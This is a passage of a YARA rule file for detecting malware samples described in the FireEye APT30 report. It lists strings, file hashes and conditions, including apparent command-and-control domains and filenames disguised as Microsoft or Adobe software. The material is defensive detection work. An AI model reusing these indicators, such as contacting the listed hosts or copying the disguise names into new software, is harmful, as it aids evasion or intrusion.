		filesize < 100KB and uint16( 0 ) == 0x5A4D and all of them
}

rule APT30_Sample_3
{
	meta:
		description = "FireEye APT30 Report Sample"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
		date = "2015/04/13"
		hash = "d0320144e65c9af0052f8dee0419e8deed91b61b"
		id = "62e81385-26f5-545d-92ff-6604ff4d0186"

	strings:
		$s5 = "Software\\Mic" ascii
		$s6 = "HHOSTR" ascii
		$s9 = "ThEugh" fullword ascii
		$s10 = "Moziea/" ascii
		$s12 = "%s%s(X-" ascii

	condition:
		filesize < 100KB and uint16( 0 ) == 0x5A4D and all of them
}

rule APT30_Generic_C
{
	meta:
		description = "FireEye APT30 Report Sample"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
		date = "2015/04/13"
		hash1 = "8667f635fe089c5e2c666b3fe22eaf3ff8590a69"
		hash2 = "0c4fcef3b583d0ffffc2b14b9297d3a4"
		hash3 = "37aee58655f5859e60ece6b249107b87"
		hash4 = "4154548e1f8e9e7eb39d48a4cd75bcd1"
		hash5 = "a2e0203e665976a13cdffb4416917250"
		hash6 = "b4ae0004094b37a40978ef06f311a75e"
		hash7 = "e39756bc99ee1b05e5ee92a1cdd5faf4"
		id = "25ec8d54-9875-5bf5-abc9-296f18f3c5e5"

	strings:
		$s0 = "MYUSER32.dll" fullword ascii
		$s1 = "MYADVAPI32.dll" fullword ascii
		$s2 = "MYWSOCK32.dll" fullword ascii
		$s3 = "MYMSVCRT.dll" fullword ascii

	condition:
		filesize < 100KB and uint16( 0 ) == 0x5A4D and all of them
}

rule APT30_Sample_4
{
	meta:
		description = "FireEye APT30 Report Sample"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
		date = "2015/04/13"
		hash = "75367d8b506031df5923c2d8d7f1b9f643a123cd"
		id = "e5c6afde-0ab5-54ed-8d18-5ad477a527d7"

	strings:
		$s0 = "GetStartupIn" ascii
		$s1 = "enMutex" ascii
		$s2 = "tpsvimi" ascii
		$s3 = "reateProcesy" ascii
		$s5 = "FreeLibr1y*S" ascii
		$s6 = "foAModuleHand" ascii

	condition:
		filesize < 100KB and uint16( 0 ) == 0x5A4D and all of them
}

rule APT30_Sample_5
{
	meta:
		description = "FireEye APT30 Report Sample"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
		date = "2015/04/13"
		hash = "1a2dd2a0555dc746333e7c956c58f7c4cdbabd4b"
		id = "bdbebe44-7423-5793-8a42-4f9b70de2231"

	strings:
		$s0 = "Version 4.7.3001" fullword wide
		$s1 = "Copyright (c) Microsoft Corporation 2004" fullword wide
		$s3 = "Microsoft(R) is a registered trademark of Microsoft Corporation in the U" wide
		$s7 = "msmsgs" fullword wide
		$s10 = "----------------g_nAV=%d,hWnd:0x%X,className:%s,Title:%s,(%d,%d,%d,%d),BOOL=%d" fullword ascii

	condition:
		filesize < 100KB and uint16( 0 ) == 0x5A4D and all of them
}

rule APT30_Sample_6
{
	meta:
		description = "FireEye APT30 Report Sample"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
		date = "2015/04/13"
		hash = "00e69b059ad6b51b76bc476a115325449d10b4c0"
		id = "2f19809c-09fc-51bf-9a20-6b95099a92dd"

	strings:
		$s0 = "GreateProcessA" fullword ascii
		$s1 = "Ternel32.dll" fullword ascii

	condition:
		filesize < 100KB and uint16( 0 ) == 0x5A4D and all of them
}

rule APT30_Sample_7
{
	meta:
		description = "FireEye APT30 Report Sample"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
		date = "2015/04/13"
		hash = "868d1f4c106a08bd2e5af4f23139f0e0cd798fba"
		id = "612732d9-8df5-5388-b299-2da4f8118435"

	strings:
		$s0 = "datain" fullword ascii
		$s3 = "C:\\Prog" ascii
		$s4 = "$LDDATA$" ascii
		$s5 = "Maybe a Encrypted Flash" fullword ascii
		$s6 = "Jean-loup Gailly" ascii
		$s8 = "deflate 1.1.3 Copyright" ascii

	condition:
		filesize < 100KB and uint16( 0 ) == 0x5A4D and all of them
}

rule APT30_Generic_E
{
	meta:
		description = "FireEye APT30 Report Sample"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
		date = "2015/04/13"
		hash1 = "1dbb584e19499e26398fb0a7aa2a01b7"
		hash2 = "572c9cd4388699347c0b2edb7c6f5e25"
		hash3 = "8ff473bedbcc77df2c49a91167b1abeb"
		hash4 = "a813eba27b2166620bd75029cc1f04b0"
		hash5 = "b5546842e08950bc17a438d785b5a019"
		id = "69e76a59-3529-541d-9017-07e6d67fbda4"

	strings:
		$s0 = "Nkfvtyvn}" ascii
		$s6 = "----------------g_nAV=%d,hWnd:0x%X,className:%s,Title:%s,(%d,%d,%d,%d),BOOL=%d" fullword ascii

	condition:
		filesize < 100KB and uint16( 0 ) == 0x5A4D and all of them
}

rule APT30_Sample_8
{
	meta:
		description = "FireEye APT30 Report Sample"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
		date = "2015/04/13"
		hash = "9531e21652143b8b129ab8c023dc05fef2a17cc3"
		id = "5053c2db-32a9-58ae-9a72-eb16ef14168e"

	strings:
		$s0 = "ateProcessA" ascii
		$s1 = "Ternel32.dllFQ" fullword ascii
		$s2 = "StartupInfoAModuleHand" fullword ascii
		$s3 = "OpenMutex" fullword ascii

	condition:
		filesize < 100KB and uint16( 0 ) == 0x5A4D and all of them
}

rule APT30_Generic_B
{
	meta:
		description = "FireEye APT30 Report Sample"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
		date = "2015/04/13"
		hash1 = "0fcb4ffe2eb391421ec876286c9ddb6c"
		hash2 = "29395c528693b69233c1c12bef8a64b3"
		hash3 = "4c6b21e98ca03e0ef0910e07cef45dac"
		hash4 = "550459b31d8dabaad1923565b7e50242"
		hash5 = "65232a8d555d7c4f7bc0d7c5da08c593"
		hash6 = "853a20f5fc6d16202828df132c41a061"
		hash7 = "ed151602dea80f39173c2f7b1dd58e06"
		id = "df3b8896-7229-5b3b-ad2f-774b0cea167c"

	strings:
		$s2 = "Moziea/4.0" ascii

	condition:
		filesize < 100KB and uint16( 0 ) == 0x5A4D and all of them
}

rule APT30_Generic_I
{
	meta:
		description = "FireEye APT30 Report Sample"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
		date = "2015/04/13"
		hash1 = "fe211c7a081c1dac46e3935f7c614549"
		hash2 = "8c9db773d387bf9b3f2b6a532e4c937c"
		id = "55046e1a-731a-5418-9a7a-4fe1611c77d0"

	strings:
		$s0 = "Copyright 2012 Google Inc. All rights reserved." fullword wide
		$s1 = "(Prxy%c-%s:%u)" fullword ascii
		$s2 = "Google Inc." fullword wide

	condition:
		filesize < 100KB and uint16( 0 ) == 0x5A4D and all of them
}

rule APT30_Sample_9
{
	meta:
		description = "FireEye APT30 Report Sample"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
		date = "2015/04/13"
		hash = "442bf8690401a2087a340ce4a48151c39101652f"
		id = "bf24bb57-aff9-579c-b8a2-265a6d2a06d0"

	strings:
		$s0 = "\\Windo" ascii
		$s2 = "oHHOSTR" ascii
		$s3 = "Softwa]\\Mic" ascii
		$s4 = "Startup'T" ascii
		$s6 = "Ora\\%^" ascii
		$s7 = "\\Ohttp=r" ascii
		$s17 = "help32Snapshot0L" ascii
		$s18 = "TimUmoveH" ascii
		$s20 = "WideChc[lobalAl" ascii

	condition:
		filesize < 100KB and uint16( 0 ) == 0x5A4D and all of them
}

rule APT30_Sample_10
{
	meta:
		description = "FireEye APT30 Report Sample"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
		date = "2015/04/13"
		hash = "eb518cda3c4f4e6938aaaee07f1f7db8ee91c901"
		id = "e5dd6bc9-9383-5d48-92df-709996373655"

	strings:
		$s0 = "Version 4.7.3001" fullword wide
		$s1 = "Copyright (c) Microsoft Corporation 2004" fullword wide
		$s2 = "Microsoft(R) is a registered trademark of Microsoft Corporation in the U" wide
		$s3 = "!! Use Connect Method !!" fullword ascii
		$s4 = "(Prxy%c-%s:%u)" fullword ascii
		$s5 = "msmsgs" fullword wide
		$s18 = "(Prxy-No)" fullword ascii

	condition:
		filesize < 100KB and uint16( 0 ) == 0x5A4D and all of them
}

rule APT30_Sample_11
{
	meta:
		description = "FireEye APT30 Report Sample"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
		date = "2015/04/13"
		hash = "59066d5d1ee3ad918111ed6fcaf8513537ff49a6"
		id = "e5dd6bc9-9383-5d48-92df-709996373655"

	strings:
		$s0 = "System\\CurrentControlSet\\control\\ComputerName\\ComputerName" fullword ascii
		$s1 = "msofscan.exe" fullword wide
		$s2 = "Mozilla/4.0 (compatible; MSIE 5.0; Win32)" fullword ascii
		$s3 = "Microsoft? is a registered trademark of Microsoft Corporation." fullword wide
		$s4 = "Windows XP Professional x64 Edition or Windows Server 2003" fullword ascii
		$s9 = "NetEagle_Scout - " fullword ascii
		$s10 = "Server 4.0, Enterprise Edition" fullword ascii
		$s11 = "Windows 3.1(Win32s)" fullword ascii
		$s12 = "%s%s%s %s" fullword ascii
		$s13 = "Server 4.0" fullword ascii
		$s15 = "Windows Millennium Edition" fullword ascii
		$s16 = "msofscan" fullword wide
		$s17 = "Eagle-Norton360-OfficeScan" fullword ascii
		$s18 = "Workstation 4.0" fullword ascii
		$s19 = "2003 Microsoft Office system" fullword wide

	condition:
		filesize < 250KB and uint16( 0 ) == 0x5A4D and all of them
}

rule APT30_Sample_12
{
	meta:
		description = "FireEye APT30 Report Sample"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
		date = "2015/04/13"
		hash = "b02b5720ff0f73f01eb2ba029a58b645c987c4bc"
		id = "e5dd6bc9-9383-5d48-92df-709996373655"

	strings:
		$s0 = "Richic" fullword ascii
		$s1 = "Accept: image/gif, */*" fullword ascii
		$s2 = "----------------g_nAV=%d,hWnd:0x%X,className:%s,Title:%s,(%d,%d,%d,%d),BOOL=%d" fullword ascii

	condition:
		filesize < 250KB and uint16( 0 ) == 0x5A4D and all of them
}

rule APT30_Sample_13
{
	meta:
		description = "FireEye APT30 Report Sample"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
		date = "2015/04/13"
		hash = "a359f705a833c4a4254443b87645fd579aa94bcf"
		id = "e5dd6bc9-9383-5d48-92df-709996373655"

	strings:
		$s0 = "msofscan.exe" fullword wide
		$s1 = "Microsoft? is a registered trademark of Microsoft Corporation." fullword wide
		$s2 = "Microsoft Office Word Plugin Scan" fullword wide
		$s3 = "? 2006 Microsoft Corporation.  All rights reserved." fullword wide
		$s4 = "msofscan" fullword wide
		$s6 = "2003 Microsoft Office system" fullword wide

	condition:
		filesize < 100KB and uint16( 0 ) == 0x5A4D and all of them
}

rule APT30_Sample_14
{
	meta:
		description = "FireEye APT30 Report Sample"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
		date = "2015/04/13"
		hash = "b0740175d20eab79a5d62cdbe0ee1a89212a8472"
		id = "e5dd6bc9-9383-5d48-92df-709996373655"

	strings:
		$s0 = "AdobeReader.exe" fullword wide
		$s4 = "10.1.7.27" fullword wide
		$s5 = "Copyright 1984-2012 Adobe Systems Incorporated and its licensors. All ri" wide
		$s8 = "Adobe Reader" fullword wide

	condition:
		filesize < 100KB and uint16( 0 ) == 0x5A4D and all of them
}

rule APT30_Sample_15
{
	meta:
		description = "FireEye APT30 Report Sample"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
		date = "2015/04/13"
		hash = "7a8576804a2bbe4e5d05d1718f90b6a4332df027"
		id = "e5dd6bc9-9383-5d48-92df-709996373655"

	strings:
		$s0 = "\\Windo" ascii
		$s2 = "HHOSTR" ascii
		$s3 = "Softwa]\\Mic" ascii
		$s4 = "Startup'T" fullword ascii
		$s17 = "help32Snapshot0L" fullword ascii
		$s18 = "TimUmoveH" ascii

	condition:
		filesize < 100KB and uint16( 0 ) == 0x5A4D and all of them
}

rule APT30_Sample_16
{
	meta:
		description = "FireEye APT30 Report Sample"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
		date = "2015/04/13"
		hash = "066d06ac08b48d3382d46bbeda6ad411b6d6130e"
		id = "e5dd6bc9-9383-5d48-92df-709996373655"

	strings:
		$s0 = "\\Temp1020.txt" ascii
		$s1 = "cmcbqyjs" fullword ascii
		$s2 = "SPVSWh\\" fullword ascii
		$s4 = "PSShxw@" fullword ascii
		$s5 = "VWhHw@" fullword ascii
		$s7 = "SVWhHw@" fullword ascii

	condition:
		filesize < 100KB and uint16( 0 ) == 0x5A4D and all of them
}

rule APT30_Generic_A
{
	meta:
		description = "FireEye APT30 Report Sample"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
		date = "2015/04/13"
		hash1 = "9f49aa1090fa478b9857e15695be4a89f8f3e594"
		hash2 = "396116cfb51cee090822913942f6ccf81856c2fb"
		hash3 = "fef9c3b4b35c226501f7d60816bb00331a904d5b"
		hash4 = "7c9a13f1fdd6452fb6d62067f958bfc5fec1d24e"
		hash5 = "5257ba027abe3a2cf397bfcae87b13ab9c1e9019"
		id = "6b851d94-d3bd-5c76-8fd0-adb42b3fab73"

	strings:
		$s5 = "WPVWhhiA" fullword ascii
		$s6 = "VPWVhhiA" fullword ascii
		$s11 = "VPhhiA" fullword ascii
		$s12 = "uUhXiA" fullword ascii

	condition:
		filesize < 100KB and uint16( 0 ) == 0x5A4D and all of them
}

rule APT30_Sample_17
{
	meta:
		description = "FireEye APT30 Report Sample"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
		date = "2015/04/13"
		hash = "c3aa52ff1d19e8fc6704777caf7c5bd120056845"
		id = "e5dd6bc9-9383-5d48-92df-709996373655"

	strings:
		$s1 = "Nkfvtyvn}]ty}ztU" fullword ascii
		$s4 = "IEXPL0RE" fullword ascii

	condition:
		filesize < 100KB and uint16( 0 ) == 0x5A4D and all of them
}

rule APT30_Sample_18
{
	meta:
		description = "FireEye APT30 Report Sample"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
		date = "2015/04/13"
		hash = "355436a16d7a2eba8a284b63bb252a8bb1644751"
		id = "e5dd6bc9-9383-5d48-92df-709996373655"

	strings:
		$s0 = "w.km-nyc.com" fullword ascii
		$s1 = "tscv.exe" fullword ascii
		$s2 = "Exit/app.htm" ascii
		$s3 = "UBD:\\D" ascii
		$s4 = "LastError" ascii
		$s5 = "MicrosoftHaveAck" ascii
		$s7 = "HHOSTR" ascii
		$s20 = "XPL0RE." ascii

	condition:
		filesize < 100KB and uint16( 0 ) == 0x5A4D and all of them
}

rule APT30_Generic_G
{
	meta:
		description = "FireEye APT30 Report Sample"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
		date = "2015/04/13"
		hash = "1612b392d6145bfb0c43f8a48d78c75f"
		hash = "53f1358cbc298da96ec56e9a08851b4b"
		hash = "c2acc9fc9b0f050ec2103d3ba9cb11c0"
		hash = "f18be055fae2490221c926e2ad55ab11"
		id = "34269de3-4559-58a5-a621-0ad72857dc9e"

	strings:
		$s0 = "%s\\%s\\%s=%s" fullword ascii
		$s1 = "Copy File %s OK!" fullword ascii
		$s2 = "%s Space:%uM,FreeSpace:%uM" fullword ascii
		$s4 = "open=%s" fullword ascii
		$s5 = "Maybe a Encrypted Flash Disk" fullword ascii
		$s12 = "%04u-%02u-%02u %02u:%02u:%02u" fullword ascii

	condition:
		filesize < 100KB and uint16( 0 ) == 0x5A4D and all of them
}

rule APT30_Sample_19
{
	meta:
		description = "FireEye APT30 Report Sample"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
		date = "2015/04/03"
		modified = "2023-01-06"
		score = 75
		hash = "cfa438449715b61bffa20130df8af778ef011e15"
		id = "e5dd6bc9-9383-5d48-92df-709996373655"

	strings:
		$s0 = "C:\\Program Files\\Common Files\\System\\wab32" fullword ascii
		$s1 = "%s,Volume:%s,Type:%s,TotalSize:%uMB,FreeSize:%uMB" fullword ascii
		$s2 = "\\TEMP\\" ascii
		$s3 = "\\Temporary Internet Files\\" ascii
		$s5 = "%s TotalSize:%u Bytes" fullword ascii
		$s6 = "This Disk Maybe a Encrypted Flash Disk!" fullword ascii
		$s7 = "User:%-32s" fullword ascii
		$s8 = "\\Desktop\\" ascii
		$s9 = "%s.%u_%u" fullword ascii
		$s10 = "Nick:%-32s" fullword ascii
		$s11 = "E-mail:%-32s" fullword ascii
		$s13 = "%04u-%02u-%02u %02u:%02u:%02u" fullword ascii
		$s14 = "Type:%-8s" fullword ascii

	condition:
		filesize < 100KB and uint16( 0 ) == 0x5A4D and 8 of them
}

rule APT30_Generic_E_v2
{
	meta:
		description = "FireEye APT30 Report Sample"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
		date = "2015/04/13"
		hash = "eca53a9f6251ddf438508b28d8a483f91b99a3fd"
		id = "40897687-fb17-568e-9907-e9588a53bbe0"

	strings:
		$s0 = "Nkfvtyvn}duf_Z}{Ys" fullword ascii
		$s1 = "Nkfvtyvn}*Zrswru1i" fullword ascii
		$s2 = "Nkfvtyvn}duf_Z}{V" fullword ascii
		$s3 = "Nkfvtyvn}*ZrswrumT\\b" fullword ascii

	condition:
		filesize < 100KB and uint16( 0 ) == 0x5A4D and all of them
}

rule APT30_Sample_20
{
	meta:
		description = "FireEye APT30 Report Sample"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
		date = "2015/04/13"
		hash = "b1c37632e604a5d1f430c9351f87eb9e8ea911c0"
		id = "91246101-246b-5da9-9e55-7f361d1f6437"

	strings:
		$s0 = "dizhi.gif" fullword ascii
		$s2 = "Mozilla/u" ascii
		$s3 = "XicrosoftHaveAck" ascii
		$s4 = "flyeagles" ascii
		$s10 = "iexplore." ascii
		$s13 = "WindowsGV" fullword ascii
		$s16 = "CatePipe" fullword ascii
		$s17 = "'QWERTY:/webpage3" fullword ascii

	condition:
		filesize < 100KB and uint16( 0 ) == 0x5A4D and all of them
}

rule APT30_Sample_21
{
	meta:
		description = "FireEye APT30 Report Sample"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
		date = "2015/04/13"
		hash = "d315daa61126616a79a8582145777d8a1565c615"
		id = "72005b40-91f7-5661-9478-8680f999b245"

	strings:
		$s0 = "Service.dll" fullword ascii
		$s1 = "(%s:%s %s)" fullword ascii
		$s2 = "%s \"%s\",%s %s" fullword ascii
		$s5 = "Proxy-%s:%u" fullword ascii

	condition:
		filesize < 100KB and uint16( 0 ) == 0x5A4D and all of them
}

rule APT30_Sample_22
{
	meta:
		description = "FireEye APT30 Report Sample"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
		date = "2015/04/13"
		hash = "0d17a58c24753e5f8fd5276f62c8c7394d8e1481"
		id = "6c1b3dd2-4383-51a2-9185-2365a4d1e784"

	strings:
		$s1 = "(\\TEMP" fullword ascii
		$s2 = "Windows\\Cur" fullword ascii
		$s3 = "LSSAS.exeJ" fullword ascii
		$s4 = "QC:\\WINDOWS" fullword ascii
		$s5 = "System Volume" fullword ascii
		$s8 = "PROGRAM FILE" fullword ascii

	condition:
		filesize < 100KB and uint16( 0 ) == 0x5A4D and all of them
}

rule APT30_Generic_F
{
	meta:
		description = "FireEye APT30 Report Sample"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
		date = "2015/04/13"
		hash1 = "09010917cd00dc8ddd21aeb066877aa2"
		hash2 = "4c10a1efed25b828e4785d9526507fbc"
		hash3 = "b7b282c9e3eca888cbdb5a856e07e8bd"
		hash4 = "df1799845b51300b03072c6569ab96d5"
		id = "cff8b921-9afc-5a52-84cb-825de33fc86e"

	strings:
		$s0 = "\\~zlzl.exe" ascii
		$s2 = "\\Internet Exp1orer" ascii
		$s3 = "NodAndKabIsExcellent" fullword ascii

	condition:
		filesize < 100KB and uint16( 0 ) == 0x5A4D and all of them
}

rule APT30_Sample_23
{
	meta:
		description = "FireEye APT30 Report Sample"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
		date = "2015/04/13"
		hash = "9865e24aadb4480bd3c182e50e0e53316546fc01"
		id = "9366dd34-9967-5b40-935e-4b0d8f2f5e9e"

	strings:
		$s0 = "hostid" ascii
		$s1 = "\\Window" ascii
		$s2 = "%u:%u%s" fullword ascii
		$s5 = "S2tware\\Mic" ascii
		$s6 = "la/4.0 (compa" ascii
		$s7 = "NameACKernel" fullword ascii
		$s12 = "ToWideChc[lo" fullword ascii
		$s14 = "help32SnapshotfL" ascii

	condition:
		filesize < 100KB and uint16( 0 ) == 0x5A4D and all of them
}

rule APT30_Sample_24
{
	meta:
		description = "FireEye APT30 Report Sample"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
		date = "2015/04/13"
		hash = "572caa09f2b600daa941c60db1fc410bef8d1771"
		id = "aed2201d-b557-56ec-aa53-fff5b1e17dbd"

	strings:
		$s1 = "dizhi.gif" fullword ascii
		$s3 = "Mozilla/4.0" fullword ascii
		$s4 = "lyeagles" fullword ascii
		$s6 = "HHOSTR" ascii
		$s7 = "#MicrosoftHaveAck7" ascii
		$s8 = "iexplore." fullword ascii
		$s17 = "ModuleH" fullword ascii

	condition:
		filesize < 100KB and uint16( 0 ) == 0x5A4D and all of them
}

rule APT30_Sample_25
{
	meta:
		description = "FireEye APT30 Report Sample"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
		date = "2015/04/13"
		hash = "44a21c8b3147fabc668fee968b62783aa9d90351"
		id = "8b2f2ba2-e9cc-5b3c-8af9-4217d662bc3f"

	strings:
		$s1 = "C:\\WINDOWS" fullword ascii
		$s2 = "aragua" fullword ascii
		$s4 = "\\driver32\\7$" ascii
		$s8 = "System V" fullword ascii
		$s9 = "Compu~r" fullword ascii
		$s10 = "PROGRAM L" fullword ascii
		$s18 = "GPRTMAX" fullword ascii

	condition:
		filesize < 100KB and uint16( 0 ) == 0x5A4D and all of them
}

rule APT30_Sample_26
{
	meta:
		description = "FireEye APT30 Report Sample"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
		date = "2015/04/13"
		hash = "e26588113417bf68cb0c479638c9cd99a48e846d"
		id = "aa80a142-c8fc-504e-b475-e9838607bec6"

	strings:
		$s1 = "forcegue" fullword ascii
		$s3 = "Windows\\Cur" fullword ascii
		$s4 = "System Id" fullword ascii
		$s5 = "Software\\Mic" fullword ascii
		$s6 = "utiBy0ToWideCh&$a" fullword ascii
		$s10 = "ModuleH" fullword ascii
		$s15 = "PeekNamed6G" fullword ascii

	condition:
		filesize < 100KB and uint16( 0 ) == 0x5A4D and all of them
}

rule APT30_Generic_D
{
	meta:
		description = "FireEye APT30 Report Sample"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
		date = "2015/04/13"
		hash1 = "35dfb55f419f476a54241f46e624a1a4"
		hash2 = "4fffcbdd4804f6952e0daf2d67507946"
		hash3 = "597805832d45d522c4882f21db800ecf"
		hash4 = "6bd422d56e85024e67cc12207e330984"
		hash5 = "82e13f3031130bd9d567c46a9c71ef2b"
		hash6 = "b79d87ff6de654130da95c73f66c15fa"
		id = "9b8d8a60-a357-5cfd-8ff1-6264144ad7be"

	strings:
		$s0 = "Windows Security Service Feedback" fullword wide
		$s1 = "wssfmgr.exe" fullword wide
		$s2 = "\\rb.htm" ascii
		$s3 = "rb.htm" fullword ascii
		$s4 = "cook5" ascii
		$s5 = "5, 4, 2600, 0" fullword wide

	condition:
		filesize < 100KB and uint16( 0 ) == 0x5A4D and all of them
}

rule APT30_Sample_27
{
	meta:
		description = "FireEye APT30 Report Sample"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
		date = "2015/04/13"
		hash = "959573261ca1d7e5ddcd19447475b2139ca24fe1"
		id = "22815745-086f-59ee-aac1-f35e49aa5835"

	strings:
		$s0 = "Mozilla/4.0" fullword ascii
		$s1 = "dizhi.gif" fullword ascii
		$s5 = "oftHaveAck+" ascii
		$s10 = "HlobalAl" fullword ascii
		$s13 = "$NtRND1$" fullword ascii
		$s14 = "_NStartup" ascii
		$s16 = "GXSYSTEM" fullword ascii

	condition:
		filesize < 100KB and uint16( 0 ) == 0x5A4D and all of them
}

rule APT30_Sample_28
{
	meta:
		description = "FireEye APT30 Report Sample"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
		date = "2015/04/13"
		hash1 = "e62a63307deead5c9fcca6b9a2d51fb0"
		hash2 = "5b590798da581c894d8a87964763aa8b"
		id = "1bc8c68f-ebbb-58b1-92aa-5954318096a0"

	strings:
		$s0 = "www.flyeagles.com" fullword ascii
		$s1 = "iexplore.exe" fullword ascii
		$s2 = "www.km-nyc.com" fullword ascii
